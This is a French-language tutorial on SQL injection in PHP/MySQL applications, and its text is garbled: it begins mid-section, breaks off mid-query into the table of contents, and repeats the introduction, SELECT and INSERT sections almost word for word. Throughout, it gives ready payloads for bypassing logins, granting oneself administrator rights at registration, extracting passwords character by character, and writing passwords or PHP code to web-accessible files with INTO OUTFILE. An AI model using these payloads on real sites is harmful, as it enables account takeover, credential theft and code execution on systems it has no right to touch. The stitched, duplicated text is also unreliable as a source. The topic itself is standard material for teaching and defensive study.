PRIMARY KEY (id)
)
Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :
$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
Et le nouvel utilisateur sera créé avec des droits administrateurs.
Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
La requête SQL pourrait alors être du type :
$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :
INSERT INTO membres VALUES ('[target]P
Table des matières :
1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
Introduction :
Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :
<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>
Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :
SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.
Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.
SELECT :
Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :
$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";
On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :
SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'
Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT * FROM table WHERE nom='Jack'# commentaire
exécutera la requête :
SELECT * FROM table WHERE nom='Jack'
L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :
SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
exécutera la requête :
SELECT * FROM table WHERE addresse='25 rue des roubys'
L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :
SELECT uid FROM admins WHERE login='John'#' AND password=''
et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :
$req = "SELECT password FROM admins WHERE login='$login'";
Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'
enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.
Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)
L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :
$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";
mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :
SELECT * FROM table WHERE msg LIKE '%hop'
va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.
SELECT * FROM table WHERE msg LIKE 'hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.
SELECT * FROM table WHERE msg LIKE '%hop%'
va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.
SELECT * FROM table WHERE msg LIKE 'h%p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.
SELECT * FROM table WHERE msg LIKE 'h_p'
va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :
SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''
Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.
Reprenons la requête de l'intro :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";
pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :
$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";
(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.
INSERT :
Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :
$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)
Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :
$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
Et le nouvel utilisateur sera créé avec des droits administrateurs.
Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
La requête SQL pourrait alors être du type :
$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :
INSERT INTO membres VALUES ('[...]P
Table des matières :
1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
Introduction :
Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :
<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>
Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :
SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.
Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.
SELECT :
Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :
$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";
On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :
SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'
Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :
SELECT * FROM table WHERE nom='Jack'# commentaire
exécutera la requête :
SELECT * FROM table WHERE nom='Jack'
L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :
SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
exécutera la requête :
SELECT * FROM table WHERE addresse='25 rue des roubys'
L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :
SELECT uid FROM admins WHERE login='John'#' AND password=''
et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :
$req = "SELECT password FROM admins WHERE login='$login'";
Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :
SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'
enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.
Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)
L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :
$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";
mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après